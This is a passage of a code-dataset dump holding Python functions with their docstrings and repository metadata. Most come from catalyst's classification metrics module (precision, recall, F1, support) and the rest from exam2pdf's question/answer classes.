>>> For other modes: {"tp": np.array([1, 2, 1]), "fp": np.array([2, 1, 0]), ...} | catalyst/metrics/_classification.py | compute_key_value | ifixdocs/catalyst | 1 | python | def compute_key_value(self) -> Dict[(str, float)]:
'\n Return accumulated statistics\n\n Returns:\n dict of statistics\n\n Examples:\n >>> For binary mode: {"tp": 3, "fp": 4, "tn": 5, "fn": 1, "support": 13}\n >>> For other modes: {"tp": np.array([1, 2, 1]), "fp": np.array([2, 1, 0]), ...}\n '
result = self.compute()
return {k: result[k] for k in sorted(result.keys())} | def compute_key_value(self) -> Dict[(str, float)]:
'\n Return accumulated statistics\n\n Returns:\n dict of statistics\n\n Examples:\n >>> For binary mode: {"tp": 3, "fp": 4, "tn": 5, "fn": 1, "support": 13}\n >>> For other modes: {"tp": np.array([1, 2, 1]), "fp": np.array([2, 1, 0]), ...}\n '
result = self.compute()
return {k: result[k] for k in sorted(result.keys())}<|docstring|>Return accumulated statistics
Returns:
dict of statistics
Examples:
>>> For binary mode: {"tp": 3, "fp": 4, "tn": 5, "fn": 1, "support": 13}
>>> For other modes: {"tp": np.array([1, 2, 1]), "fp": np.array([2, 1, 0]), ...}<|endoftext|> |
e40f39ae5802ff939bc67c88e399b88f659c025f41ceb66aff0b8c906dd415fb | def __init__(self, mode: str, num_classes: int=None, zero_division: int=0, compute_on_call: bool=True, prefix: str=None, suffix: str=None) -> None:
'Init PrecisionRecallF1SupportMetric instance'
super().__init__(compute_on_call=compute_on_call, prefix=prefix, suffix=suffix, num_classes=num_classes, mode=mode)
self.zero_division = zero_division
self.reset() | Init PrecisionRecallF1SupportMetric instance | catalyst/metrics/_classification.py | __init__ | ifixdocs/catalyst | 1 | python | def __init__(self, mode: str, num_classes: int=None, zero_division: int=0, compute_on_call: bool=True, prefix: str=None, suffix: str=None) -> None:
super().__init__(compute_on_call=compute_on_call, prefix=prefix, suffix=suffix, num_classes=num_classes, mode=mode)
self.zero_division = zero_division
self.reset() | def __init__(self, mode: str, num_classes: int=None, zero_division: int=0, compute_on_call: bool=True, prefix: str=None, suffix: str=None) -> None:
super().__init__(compute_on_call=compute_on_call, prefix=prefix, suffix=suffix, num_classes=num_classes, mode=mode)
self.zero_division = zero_division
self.reset()<|docstring|>Init PrecisionRecallF1SupportMetric instance<|endoftext|> |
7ca6b6365085c465ada420aaa1bd9c26c3813894117ad141d3130a39aa9eed98 | def _convert_metrics_to_kv(self, per_class, micro, macro, weighted) -> Dict[(str, float)]:
'\n Convert metrics aggregation to key-value format\n\n Args:\n per_class: per-class metrics, array of shape (4, self.num_classes)\n of precision, recall, f1 and support metrics\n micro: micro averaged metrics, array of shape (self.num_classes)\n of precision, recall, f1 and support metrics\n macro: macro averaged metrics, array of shape (self.num_classes)\n of precision, recall, f1 and support metrics\n weighted: weighted averaged metrics, array of shape (self.num_classes)\n of precision, recall, f1 and support metrics\n\n Returns:\n dict of key-value metrics\n '
kv_metrics = {}
for (aggregation_name, aggregated_metrics) in zip(('micro', 'macro', 'weighted'), (micro, macro, weighted)):
metrics = {f'{metric_name}/{aggregation_name}': metric_value for (metric_name, metric_value) in zip(('precision', 'recall', 'f1'), aggregated_metrics[:(- 1)])}
kv_metrics.update(metrics)
per_class_metrics = {f'{metric_name}/class_{i:02d}': metric_value[i] for (metric_name, metric_value) in zip(('precision', 'recall', 'f1', 'support'), per_class) for i in range(self.num_classes)}
kv_metrics.update(per_class_metrics)
return kv_metrics | Convert metrics aggregation to key-value format
Args:
per_class: per-class metrics, array of shape (4, self.num_classes)
of precision, recall, f1 and support metrics
micro: micro averaged metrics, array of shape (self.num_classes)
of precision, recall, f1 and support metrics
macro: macro averaged metrics, array of shape (self.num_classes)
of precision, recall, f1 and support metrics
weighted: weighted averaged metrics, array of shape (self.num_classes)
of precision, recall, f1 and support metrics
Returns:
dict of key-value metrics | catalyst/metrics/_classification.py | _convert_metrics_to_kv | ifixdocs/catalyst | 1 | python | def _convert_metrics_to_kv(self, per_class, micro, macro, weighted) -> Dict[(str, float)]:
'\n Convert metrics aggregation to key-value format\n\n Args:\n per_class: per-class metrics, array of shape (4, self.num_classes)\n of precision, recall, f1 and support metrics\n micro: micro averaged metrics, array of shape (self.num_classes)\n of precision, recall, f1 and support metrics\n macro: macro averaged metrics, array of shape (self.num_classes)\n of precision, recall, f1 and support metrics\n weighted: weighted averaged metrics, array of shape (self.num_classes)\n of precision, recall, f1 and support metrics\n\n Returns:\n dict of key-value metrics\n '
kv_metrics = {}
for (aggregation_name, aggregated_metrics) in zip(('micro', 'macro', 'weighted'), (micro, macro, weighted)):
metrics = {f'{metric_name}/{aggregation_name}': metric_value for (metric_name, metric_value) in zip(('precision', 'recall', 'f1'), aggregated_metrics[:(- 1)])}
kv_metrics.update(metrics)
per_class_metrics = {f'{metric_name}/class_{i:02d}': metric_value[i] for (metric_name, metric_value) in zip(('precision', 'recall', 'f1', 'support'), per_class) for i in range(self.num_classes)}
kv_metrics.update(per_class_metrics)
return kv_metrics | def _convert_metrics_to_kv(self, per_class, micro, macro, weighted) -> Dict[(str, float)]:
'\n Convert metrics aggregation to key-value format\n\n Args:\n per_class: per-class metrics, array of shape (4, self.num_classes)\n of precision, recall, f1 and support metrics\n micro: micro averaged metrics, array of shape (self.num_classes)\n of precision, recall, f1 and support metrics\n macro: macro averaged metrics, array of shape (self.num_classes)\n of precision, recall, f1 and support metrics\n weighted: weighted averaged metrics, array of shape (self.num_classes)\n of precision, recall, f1 and support metrics\n\n Returns:\n dict of key-value metrics\n '
kv_metrics = {}
for (aggregation_name, aggregated_metrics) in zip(('micro', 'macro', 'weighted'), (micro, macro, weighted)):
metrics = {f'{metric_name}/{aggregation_name}': metric_value for (metric_name, metric_value) in zip(('precision', 'recall', 'f1'), aggregated_metrics[:(- 1)])}
kv_metrics.update(metrics)
per_class_metrics = {f'{metric_name}/class_{i:02d}': metric_value[i] for (metric_name, metric_value) in zip(('precision', 'recall', 'f1', 'support'), per_class) for i in range(self.num_classes)}
kv_metrics.update(per_class_metrics)
return kv_metrics<|docstring|>Convert metrics aggregation to key-value format
Args:
per_class: per-class metrics, array of shape (4, self.num_classes)
of precision, recall, f1 and support metrics
micro: micro averaged metrics, array of shape (self.num_classes)
of precision, recall, f1 and support metrics
macro: macro averaged metrics, array of shape (self.num_classes)
of precision, recall, f1 and support metrics
weighted: weighted averaged metrics, array of shape (self.num_classes)
of precision, recall, f1 and support metrics
Returns:
dict of key-value metrics<|endoftext|> |
8209d32ab3e855d98fdd767af7583618c6c4f4fea7c403afe5ed98c5e0443f5e | def update(self, outputs: torch.Tensor, targets: torch.Tensor) -> Tuple[(Any, Any, Any, Any)]:
'\n Update statistics and return intermediate metrics results\n\n Args:\n outputs: prediction values\n targets: true answers\n\n Returns:\n tuple of metrics intermediate results with per-class, micro, macro and\n weighted averaging\n '
(tn, fp, fn, tp, support) = super().update(outputs=outputs, targets=targets)
(per_class, micro, macro, weighted) = get_aggregated_metrics(tp=tp, fp=fp, fn=fn, support=support, zero_division=self.zero_division)
return (per_class, micro, macro, weighted) | Update statistics and return intermediate metrics results
Args:
outputs: prediction values
targets: true answers
Returns:
tuple of metrics intermediate results with per-class, micro, macro and
weighted averaging | catalyst/metrics/_classification.py | update | ifixdocs/catalyst | 1 | python | def update(self, outputs: torch.Tensor, targets: torch.Tensor) -> Tuple[(Any, Any, Any, Any)]:
'\n Update statistics and return intermediate metrics results\n\n Args:\n outputs: prediction values\n targets: true answers\n\n Returns:\n tuple of metrics intermediate results with per-class, micro, macro and\n weighted averaging\n '
(tn, fp, fn, tp, support) = super().update(outputs=outputs, targets=targets)
(per_class, micro, macro, weighted) = get_aggregated_metrics(tp=tp, fp=fp, fn=fn, support=support, zero_division=self.zero_division)
return (per_class, micro, macro, weighted) | def update(self, outputs: torch.Tensor, targets: torch.Tensor) -> Tuple[(Any, Any, Any, Any)]:
'\n Update statistics and return intermediate metrics results\n\n Args:\n outputs: prediction values\n targets: true answers\n\n Returns:\n tuple of metrics intermediate results with per-class, micro, macro and\n weighted averaging\n '
(tn, fp, fn, tp, support) = super().update(outputs=outputs, targets=targets)
(per_class, micro, macro, weighted) = get_aggregated_metrics(tp=tp, fp=fp, fn=fn, support=support, zero_division=self.zero_division)
return (per_class, micro, macro, weighted)<|docstring|>Update statistics and return intermediate metrics results
Args:
outputs: prediction values
targets: true answers
Returns:
tuple of metrics intermediate results with per-class, micro, macro and
weighted averaging<|endoftext|> |
45cbbd238a0fcc120819d600ce1fd4065caa6d8773e83453f683db7a5806091c | def update_key_value(self, outputs: torch.Tensor, targets: torch.Tensor) -> Dict[(str, float)]:
'\n Update statistics and return intermediate metrics results\n\n Args:\n outputs: prediction values\n targets: true answers\n\n Returns:\n dict of metrics intermediate results\n '
(per_class, micro, macro, weighted) = self.update(outputs=outputs, targets=targets)
metrics = self._convert_metrics_to_kv(per_class=per_class, micro=micro, macro=macro, weighted=weighted)
return metrics | Update statistics and return intermediate metrics results
Args:
outputs: prediction values
targets: true answers
Returns:
dict of metrics intermediate results | catalyst/metrics/_classification.py | update_key_value | ifixdocs/catalyst | 1 | python | def update_key_value(self, outputs: torch.Tensor, targets: torch.Tensor) -> Dict[(str, float)]:
'\n Update statistics and return intermediate metrics results\n\n Args:\n outputs: prediction values\n targets: true answers\n\n Returns:\n dict of metrics intermediate results\n '
(per_class, micro, macro, weighted) = self.update(outputs=outputs, targets=targets)
metrics = self._convert_metrics_to_kv(per_class=per_class, micro=micro, macro=macro, weighted=weighted)
return metrics | def update_key_value(self, outputs: torch.Tensor, targets: torch.Tensor) -> Dict[(str, float)]:
'\n Update statistics and return intermediate metrics results\n\n Args:\n outputs: prediction values\n targets: true answers\n\n Returns:\n dict of metrics intermediate results\n '
(per_class, micro, macro, weighted) = self.update(outputs=outputs, targets=targets)
metrics = self._convert_metrics_to_kv(per_class=per_class, micro=micro, macro=macro, weighted=weighted)
return metrics<|docstring|>Update statistics and return intermediate metrics results
Args:
outputs: prediction values
targets: true answers
Returns:
dict of metrics intermediate results<|endoftext|> |
f351b880c3f9b3d9ebd767bf5953ffedb9868a2ff591bffbb0f01e3b03524e26 | def compute(self) -> Any:
'\n Compute precision, recall, f1 score and support.\n Compute micro, macro and weighted average for the metrics.\n\n Returns:\n list of aggregated metrics: per-class, micro, macro and weighted averaging of\n precision, recall, f1 score and support metrics\n '
(per_class, micro, macro, weighted) = get_aggregated_metrics(tp=self.statistics['tp'], fp=self.statistics['fp'], fn=self.statistics['fn'], support=self.statistics['support'], zero_division=self.zero_division)
return (per_class, micro, macro, weighted) | Compute precision, recall, f1 score and support.
Compute micro, macro and weighted average for the metrics.
Returns:
list of aggregated metrics: per-class, micro, macro and weighted averaging of
precision, recall, f1 score and support metrics | catalyst/metrics/_classification.py | compute | ifixdocs/catalyst | 1 | python | def compute(self) -> Any:
'\n Compute precision, recall, f1 score and support.\n Compute micro, macro and weighted average for the metrics.\n\n Returns:\n list of aggregated metrics: per-class, micro, macro and weighted averaging of\n precision, recall, f1 score and support metrics\n '
(per_class, micro, macro, weighted) = get_aggregated_metrics(tp=self.statistics['tp'], fp=self.statistics['fp'], fn=self.statistics['fn'], support=self.statistics['support'], zero_division=self.zero_division)
return (per_class, micro, macro, weighted) | def compute(self) -> Any:
'\n Compute precision, recall, f1 score and support.\n Compute micro, macro and weighted average for the metrics.\n\n Returns:\n list of aggregated metrics: per-class, micro, macro and weighted averaging of\n precision, recall, f1 score and support metrics\n '
(per_class, micro, macro, weighted) = get_aggregated_metrics(tp=self.statistics['tp'], fp=self.statistics['fp'], fn=self.statistics['fn'], support=self.statistics['support'], zero_division=self.zero_division)
return (per_class, micro, macro, weighted)<|docstring|>Compute precision, recall, f1 score and support.
Compute micro, macro and weighted average for the metrics.
Returns:
list of aggregated metrics: per-class, micro, macro and weighted averaging of
precision, recall, f1 score and support metrics<|endoftext|> |
6a27288a217b8ea0edd136f1a86b06b7c397acf33c148e7033f92e42ca0bfe91 | def compute_key_value(self) -> Dict[(str, float)]:
'\n Compute precision, recall, f1 score and support.\n Compute micro, macro and weighted average for the metrics.\n\n Returns:\n dict of metrics\n '
if self._is_ddp:
for key in self.statistics:
value: List[np.ndarray] = all_gather(self.statistics[key])
value: np.ndarray = np.sum(np.vstack(value), axis=0)
self.statistics[key] = value
(per_class, micro, macro, weighted) = self.compute()
metrics = self._convert_metrics_to_kv(per_class=per_class, micro=micro, macro=macro, weighted=weighted)
return metrics | Compute precision, recall, f1 score and support.
Compute micro, macro and weighted average for the metrics.
Returns:
dict of metrics | catalyst/metrics/_classification.py | compute_key_value | ifixdocs/catalyst | 1 | python | def compute_key_value(self) -> Dict[(str, float)]:
'\n Compute precision, recall, f1 score and support.\n Compute micro, macro and weighted average for the metrics.\n\n Returns:\n dict of metrics\n '
if self._is_ddp:
for key in self.statistics:
value: List[np.ndarray] = all_gather(self.statistics[key])
value: np.ndarray = np.sum(np.vstack(value), axis=0)
self.statistics[key] = value
(per_class, micro, macro, weighted) = self.compute()
metrics = self._convert_metrics_to_kv(per_class=per_class, micro=micro, macro=macro, weighted=weighted)
return metrics | def compute_key_value(self) -> Dict[(str, float)]:
'\n Compute precision, recall, f1 score and support.\n Compute micro, macro and weighted average for the metrics.\n\n Returns:\n dict of metrics\n '
if self._is_ddp:
for key in self.statistics:
value: List[np.ndarray] = all_gather(self.statistics[key])
value: np.ndarray = np.sum(np.vstack(value), axis=0)
self.statistics[key] = value
(per_class, micro, macro, weighted) = self.compute()
metrics = self._convert_metrics_to_kv(per_class=per_class, micro=micro, macro=macro, weighted=weighted)
return metrics<|docstring|>Compute precision, recall, f1 score and support.
Compute micro, macro and weighted average for the metrics.
Returns:
dict of metrics<|endoftext|> |
bf9c8bf9b9841be8372d036cbdbfb3ace7e29522e69aff3ef0add30a152c064e | def __init__(self, zero_division: int=0, compute_on_call: bool=True, prefix: Optional[str]=None, suffix: Optional[str]=None):
'Init BinaryPrecisionRecallF1SupportMetric instance'
super().__init__(num_classes=2, mode='binary', compute_on_call=compute_on_call, prefix=prefix, suffix=suffix)
self.zero_division = zero_division
self.reset() | Init BinaryPrecisionRecallF1SupportMetric instance | catalyst/metrics/_classification.py | __init__ | ifixdocs/catalyst | 1 | python | def __init__(self, zero_division: int=0, compute_on_call: bool=True, prefix: Optional[str]=None, suffix: Optional[str]=None):
super().__init__(num_classes=2, mode='binary', compute_on_call=compute_on_call, prefix=prefix, suffix=suffix)
self.zero_division = zero_division
self.reset() | def __init__(self, zero_division: int=0, compute_on_call: bool=True, prefix: Optional[str]=None, suffix: Optional[str]=None):
super().__init__(num_classes=2, mode='binary', compute_on_call=compute_on_call, prefix=prefix, suffix=suffix)
self.zero_division = zero_division
self.reset()<|docstring|>Init BinaryPrecisionRecallF1SupportMetric instance<|endoftext|> |
e95838b898674e31c9024ac7642db542932474c5973947e89ac6e81e0b41c653 | @staticmethod
def _convert_metrics_to_kv(precision_value: float, recall_value: float, f1_value: float) -> Dict[(str, float)]:
'\n Convert list of metrics to key-value\n\n Args:\n precision_value: precision value\n recall_value: recall value\n f1_value: f1 value\n\n Returns:\n dict of metrics\n '
kv_metrics = {'precision': precision_value, 'recall': recall_value, 'f1': f1_value}
return kv_metrics | Convert list of metrics to key-value
Args:
precision_value: precision value
recall_value: recall value
f1_value: f1 value
Returns:
dict of metrics | catalyst/metrics/_classification.py | _convert_metrics_to_kv | ifixdocs/catalyst | 1 | python | @staticmethod
def _convert_metrics_to_kv(precision_value: float, recall_value: float, f1_value: float) -> Dict[(str, float)]:
'\n Convert list of metrics to key-value\n\n Args:\n precision_value: precision value\n recall_value: recall value\n f1_value: f1 value\n\n Returns:\n dict of metrics\n '
kv_metrics = {'precision': precision_value, 'recall': recall_value, 'f1': f1_value}
return kv_metrics | @staticmethod
def _convert_metrics_to_kv(precision_value: float, recall_value: float, f1_value: float) -> Dict[(str, float)]:
'\n Convert list of metrics to key-value\n\n Args:\n precision_value: precision value\n recall_value: recall value\n f1_value: f1 value\n\n Returns:\n dict of metrics\n '
kv_metrics = {'precision': precision_value, 'recall': recall_value, 'f1': f1_value}
return kv_metrics<|docstring|>Convert list of metrics to key-value
Args:
precision_value: precision value
recall_value: recall value
f1_value: f1 value
Returns:
dict of metrics<|endoftext|> |
5b8c09b9208671c395e769a9f6e11cac04ee230656377153b7082ce23c574928 | def reset(self) -> None:
'Reset all the statistics and metrics fields.'
self.statistics = defaultdict(float) | Reset all the statistics and metrics fields. | catalyst/metrics/_classification.py | reset | ifixdocs/catalyst | 1 | python | def reset(self) -> None:
self.statistics = defaultdict(float) | def reset(self) -> None:
self.statistics = defaultdict(float)<|docstring|>Reset all the statistics and metrics fields.<|endoftext|> |
ef102ef01d74ffa3a113eee52801c1a257a76a0b53ac6b78c3fa3729bf17432d | def update(self, outputs: torch.Tensor, targets: torch.Tensor) -> Tuple[(float, float, float)]:
'\n Update statistics and return metrics intermediate results\n\n Args:\n outputs: predicted labels\n targets: target labels\n\n Returns:\n tuple of intermediate metrics: precision, recall, f1 score\n '
(tn, fp, fn, tp, support) = super().update(outputs=outputs, targets=targets)
(precision_value, recall_value, f1_value) = get_binary_metrics(tp=tp, fp=fp, fn=fn, zero_division=self.zero_division)
return (precision_value, recall_value, f1_value) | Update statistics and return metrics intermediate results
Args:
outputs: predicted labels
targets: target labels
Returns:
tuple of intermediate metrics: precision, recall, f1 score | catalyst/metrics/_classification.py | update | ifixdocs/catalyst | 1 | python | def update(self, outputs: torch.Tensor, targets: torch.Tensor) -> Tuple[(float, float, float)]:
'\n Update statistics and return metrics intermediate results\n\n Args:\n outputs: predicted labels\n targets: target labels\n\n Returns:\n tuple of intermediate metrics: precision, recall, f1 score\n '
(tn, fp, fn, tp, support) = super().update(outputs=outputs, targets=targets)
(precision_value, recall_value, f1_value) = get_binary_metrics(tp=tp, fp=fp, fn=fn, zero_division=self.zero_division)
return (precision_value, recall_value, f1_value) | def update(self, outputs: torch.Tensor, targets: torch.Tensor) -> Tuple[(float, float, float)]:
'\n Update statistics and return metrics intermediate results\n\n Args:\n outputs: predicted labels\n targets: target labels\n\n Returns:\n tuple of intermediate metrics: precision, recall, f1 score\n '
(tn, fp, fn, tp, support) = super().update(outputs=outputs, targets=targets)
(precision_value, recall_value, f1_value) = get_binary_metrics(tp=tp, fp=fp, fn=fn, zero_division=self.zero_division)
return (precision_value, recall_value, f1_value)<|docstring|>Update statistics and return metrics intermediate results
Args:
outputs: predicted labels
targets: target labels
Returns:
tuple of intermediate metrics: precision, recall, f1 score<|endoftext|> |
ee4685f7db931f401aa3a41ffb42955cc36c57a58ab660648c6c998ec42354d9 | def update_key_value(self, outputs: torch.Tensor, targets: torch.Tensor) -> Dict[(str, float)]:
'\n Update statistics and return metrics intermediate results\n\n Args:\n outputs: predicted labels\n targets: target labels\n\n Returns:\n dict of intermediate metrics\n '
(precision_value, recall_value, f1_value) = self.update(outputs=outputs, targets=targets)
kv_metrics = self._convert_metrics_to_kv(precision_value=precision_value, recall_value=recall_value, f1_value=f1_value)
return kv_metrics | Update statistics and return metrics intermediate results
Args:
outputs: predicted labels
targets: target labels
Returns:
dict of intermediate metrics | catalyst/metrics/_classification.py | update_key_value | ifixdocs/catalyst | 1 | python | def update_key_value(self, outputs: torch.Tensor, targets: torch.Tensor) -> Dict[(str, float)]:
'\n Update statistics and return metrics intermediate results\n\n Args:\n outputs: predicted labels\n targets: target labels\n\n Returns:\n dict of intermediate metrics\n '
(precision_value, recall_value, f1_value) = self.update(outputs=outputs, targets=targets)
kv_metrics = self._convert_metrics_to_kv(precision_value=precision_value, recall_value=recall_value, f1_value=f1_value)
return kv_metrics | def update_key_value(self, outputs: torch.Tensor, targets: torch.Tensor) -> Dict[(str, float)]:
'\n Update statistics and return metrics intermediate results\n\n Args:\n outputs: predicted labels\n targets: target labels\n\n Returns:\n dict of intermediate metrics\n '
(precision_value, recall_value, f1_value) = self.update(outputs=outputs, targets=targets)
kv_metrics = self._convert_metrics_to_kv(precision_value=precision_value, recall_value=recall_value, f1_value=f1_value)
return kv_metrics<|docstring|>Update statistics and return metrics intermediate results
Args:
outputs: predicted labels
targets: target labels
Returns:
dict of intermediate metrics<|endoftext|> |
1ff2a55e956de53f2978964bf26f17141c5b1294bbf13b6cfcac49af8901d242 | def compute(self) -> Tuple[(float, float, float)]:
'\n Compute metrics with accumulated statistics\n\n Returns:\n tuple of metrics: precision, recall, f1 score\n '
if self._is_ddp:
for key in self.statistics:
value: List[float] = all_gather(self.statistics[key])
value: float = sum(value)
self.statistics[key] = value
(precision_value, recall_value, f1_value) = get_binary_metrics(tp=self.statistics['tp'], fp=self.statistics['fp'], fn=self.statistics['fn'], zero_division=self.zero_division)
return (precision_value, recall_value, f1_value) | Compute metrics with accumulated statistics
Returns:
tuple of metrics: precision, recall, f1 score | catalyst/metrics/_classification.py | compute | ifixdocs/catalyst | 1 | python | def compute(self) -> Tuple[(float, float, float)]:
'\n Compute metrics with accumulated statistics\n\n Returns:\n tuple of metrics: precision, recall, f1 score\n '
if self._is_ddp:
for key in self.statistics:
value: List[float] = all_gather(self.statistics[key])
value: float = sum(value)
self.statistics[key] = value
(precision_value, recall_value, f1_value) = get_binary_metrics(tp=self.statistics['tp'], fp=self.statistics['fp'], fn=self.statistics['fn'], zero_division=self.zero_division)
return (precision_value, recall_value, f1_value) | def compute(self) -> Tuple[(float, float, float)]:
'\n Compute metrics with accumulated statistics\n\n Returns:\n tuple of metrics: precision, recall, f1 score\n '
if self._is_ddp:
for key in self.statistics:
value: List[float] = all_gather(self.statistics[key])
value: float = sum(value)
self.statistics[key] = value
(precision_value, recall_value, f1_value) = get_binary_metrics(tp=self.statistics['tp'], fp=self.statistics['fp'], fn=self.statistics['fn'], zero_division=self.zero_division)
return (precision_value, recall_value, f1_value)<|docstring|>Compute metrics with accumulated statistics
Returns:
tuple of metrics: precision, recall, f1 score<|endoftext|> |
5a56b377f6f1414df4f74e596ca7b9a8bd0ad57011c1a71644aaf3751a982c8a | def compute_key_value(self) -> Dict[(str, float)]:
'\n Compute metrics with all accumulated statistics\n\n Returns:\n dict of metrics\n '
(precision_value, recall_value, f1_value) = self.compute()
kv_metrics = self._convert_metrics_to_kv(precision_value=precision_value, recall_value=recall_value, f1_value=f1_value)
return kv_metrics | Compute metrics with all accumulated statistics
Returns:
dict of metrics | catalyst/metrics/_classification.py | compute_key_value | ifixdocs/catalyst | 1 | python | def compute_key_value(self) -> Dict[(str, float)]:
'\n Compute metrics with all accumulated statistics\n\n Returns:\n dict of metrics\n '
(precision_value, recall_value, f1_value) = self.compute()
kv_metrics = self._convert_metrics_to_kv(precision_value=precision_value, recall_value=recall_value, f1_value=f1_value)
return kv_metrics | def compute_key_value(self) -> Dict[(str, float)]:
'\n Compute metrics with all accumulated statistics\n\n Returns:\n dict of metrics\n '
(precision_value, recall_value, f1_value) = self.compute()
kv_metrics = self._convert_metrics_to_kv(precision_value=precision_value, recall_value=recall_value, f1_value=f1_value)
return kv_metrics<|docstring|>Compute metrics with all accumulated statistics
Returns:
dict of metrics<|endoftext|> |
3f16057e7f825cfba763990b30d799c18fbbe402ad4a5c6a013b03f8ad5224c2 | def __init__(self, num_classes: int=None, zero_division: int=0, compute_on_call: bool=True, prefix: Optional[str]=None, suffix: Optional[str]=None):
'Init MultiClassPrecisionRecallF1SupportMetric instance'
super().__init__(compute_on_call=compute_on_call, prefix=prefix, suffix=suffix, num_classes=num_classes, zero_division=zero_division, mode='multiclass') | Init MultiClassPrecisionRecallF1SupportMetric instance | catalyst/metrics/_classification.py | __init__ | ifixdocs/catalyst | 1 | python | def __init__(self, num_classes: int=None, zero_division: int=0, compute_on_call: bool=True, prefix: Optional[str]=None, suffix: Optional[str]=None):
super().__init__(compute_on_call=compute_on_call, prefix=prefix, suffix=suffix, num_classes=num_classes, zero_division=zero_division, mode='multiclass') | def __init__(self, num_classes: int=None, zero_division: int=0, compute_on_call: bool=True, prefix: Optional[str]=None, suffix: Optional[str]=None):
super().__init__(compute_on_call=compute_on_call, prefix=prefix, suffix=suffix, num_classes=num_classes, zero_division=zero_division, mode='multiclass')<|docstring|>Init MultiClassPrecisionRecallF1SupportMetric instance<|endoftext|> |
85128887433d9132c1ee931685fdba10f0e407a229fb82bbf02f557b56c156b9 | def __init__(self, num_classes: int=None, zero_division: int=0, compute_on_call: bool=True, prefix: Optional[str]=None, suffix: Optional[str]=None):
'Init MultiLabelPrecisionRecallF1SupportMetric instance'
super().__init__(compute_on_call=compute_on_call, prefix=prefix, suffix=suffix, num_classes=num_classes, zero_division=zero_division, mode='multilabel') | Init MultiLabelPrecisionRecallF1SupportMetric instance | catalyst/metrics/_classification.py | __init__ | ifixdocs/catalyst | 1 | python | def __init__(self, num_classes: int=None, zero_division: int=0, compute_on_call: bool=True, prefix: Optional[str]=None, suffix: Optional[str]=None):
super().__init__(compute_on_call=compute_on_call, prefix=prefix, suffix=suffix, num_classes=num_classes, zero_division=zero_division, mode='multilabel') | def __init__(self, num_classes: int=None, zero_division: int=0, compute_on_call: bool=True, prefix: Optional[str]=None, suffix: Optional[str]=None):
super().__init__(compute_on_call=compute_on_call, prefix=prefix, suffix=suffix, num_classes=num_classes, zero_division=zero_division, mode='multilabel')<|docstring|>Init MultiLabelPrecisionRecallF1SupportMetric instance<|endoftext|> |
3add48f507c5f5c94709143dc9aaf3fedbcb927df2745470e6ae7cc148740d25 | @text.setter
def text(self, text: str) -> None:
'Text is the answer.\n '
if isinstance(text, str):
self._text = text
else:
raise TypeError(f'{text} is not a string') | Text is the answer. | exam2pdf/question.py | text | agossino/exam2pdf | 0 | python | @text.setter
def text(self, text: str) -> None:
'\n '
if isinstance(text, str):
self._text = text
else:
raise TypeError(f'{text} is not a string') | @text.setter
def text(self, text: str) -> None:
'\n '
if isinstance(text, str):
self._text = text
else:
raise TypeError(f'{text} is not a string')<|docstring|>Text is the answer.<|endoftext|> |
e5eed5240186032b28b730f178a27f82e97a24878b25545e3cc1367384f5d86d | @property
def image(self) -> Path:
'Image associated with the answer: it can help or\n can be the answer.\n '
return self._image | Image associated with the answer: it can help or
can be the answer. | exam2pdf/question.py | image | agossino/exam2pdf | 0 | python | @property
def image(self) -> Path:
'Image associated with the answer: it can help or\n can be the answer.\n '
return self._image | @property
def image(self) -> Path:
'Image associated with the answer: it can help or\n can be the answer.\n '
return self._image<|docstring|>Image associated with the answer: it can help or
can be the answer.<|endoftext|> |
da687c250c8b7abd85eb7c9de053ca2ae11326c112f587114bd03b18a1f27d9b | @property
def attr_load_sequence(self) -> Tuple[(str, ...)]:
'Answer can be set by load_sequentially method: this attribute\n return the order the attribute are set'
return self._attr_load_sequence | Answer can be set by load_sequentially method: this attribute
return the order the attribute are set | exam2pdf/question.py | attr_load_sequence | agossino/exam2pdf | 0 | python | @property
def attr_load_sequence(self) -> Tuple[(str, ...)]:
'Answer can be set by load_sequentially method: this attribute\n return the order the attribute are set'
return self._attr_load_sequence | @property
def attr_load_sequence(self) -> Tuple[(str, ...)]:
'Answer can be set by load_sequentially method: this attribute\n return the order the attribute are set'
return self._attr_load_sequence<|docstring|>Answer can be set by load_sequentially method: this attribute
return the order the attribute are set<|endoftext|> |
09883976c625c883ac4b1ab07dcd1fb9f68b430591682849f8336de5183851d8 | def load_sequentially(self, iterator: Iterator[Any]) -> None:
'Load all the attribute sequentially from iterator. Return\n when all attribute are filled. If the elements in the iterator\n are less then the attributes, StopIteration is not caught.\n '
attribute_iterator: Iterator[str] = iter(self.attr_load_sequence)
caster_iterator: Iterator[CasterType] = iter(self._type_caster_sequence)
attribute: Optional[str] = next(attribute_iterator, None)
caster: Optional[CasterType] = next(caster_iterator, None)
while ((attribute is not None) and (caster is not None)):
setattr(self, attribute, caster(next(iterator)))
attribute = next(attribute_iterator, None)
caster = next(caster_iterator, None) | Load all the attribute sequentially from iterator. Return
when all attribute are filled. If the elements in the iterator
are less then the attributes, StopIteration is not caught. | exam2pdf/question.py | load_sequentially | agossino/exam2pdf | 0 | python | def load_sequentially(self, iterator: Iterator[Any]) -> None:
'Load all the attribute sequentially from iterator. Return\n when all attribute are filled. If the elements in the iterator\n are less then the attributes, StopIteration is not caught.\n '
attribute_iterator: Iterator[str] = iter(self.attr_load_sequence)
caster_iterator: Iterator[CasterType] = iter(self._type_caster_sequence)
attribute: Optional[str] = next(attribute_iterator, None)
caster: Optional[CasterType] = next(caster_iterator, None)
while ((attribute is not None) and (caster is not None)):
setattr(self, attribute, caster(next(iterator)))
attribute = next(attribute_iterator, None)
caster = next(caster_iterator, None) | def load_sequentially(self, iterator: Iterator[Any]) -> None:
'Load all the attribute sequentially from iterator. Return\n when all attribute are filled. If the elements in the iterator\n are less then the attributes, StopIteration is not caught.\n '
attribute_iterator: Iterator[str] = iter(self.attr_load_sequence)
caster_iterator: Iterator[CasterType] = iter(self._type_caster_sequence)
attribute: Optional[str] = next(attribute_iterator, None)
caster: Optional[CasterType] = next(caster_iterator, None)
while ((attribute is not None) and (caster is not None)):
setattr(self, attribute, caster(next(iterator)))
attribute = next(attribute_iterator, None)
caster = next(caster_iterator, None)<|docstring|>Load all the attribute sequentially from iterator. Return
when all attribute are filled. If the elements in the iterator
are less then the attributes, StopIteration is not caught.<|endoftext|> |
317db48a59c2f1e23c87f90d43be6650276ea201800a017c125f6dfd0c6f82ab | @text.setter
def text(self, text: str) -> None:
'Text is the question.\n '
if isinstance(text, str):
self._text = text
else:
raise TypeError(f'{text} in not a string') | Text is the question. | exam2pdf/question.py | text | agossino/exam2pdf | 0 | python | @text.setter
def text(self, text: str) -> None:
'\n '
if isinstance(text, str):
self._text = text
else:
raise TypeError(f'{text} in not a string') | @text.setter
def text(self, text: str) -> None:
'\n '
if isinstance(text, str):
self._text = text
else:
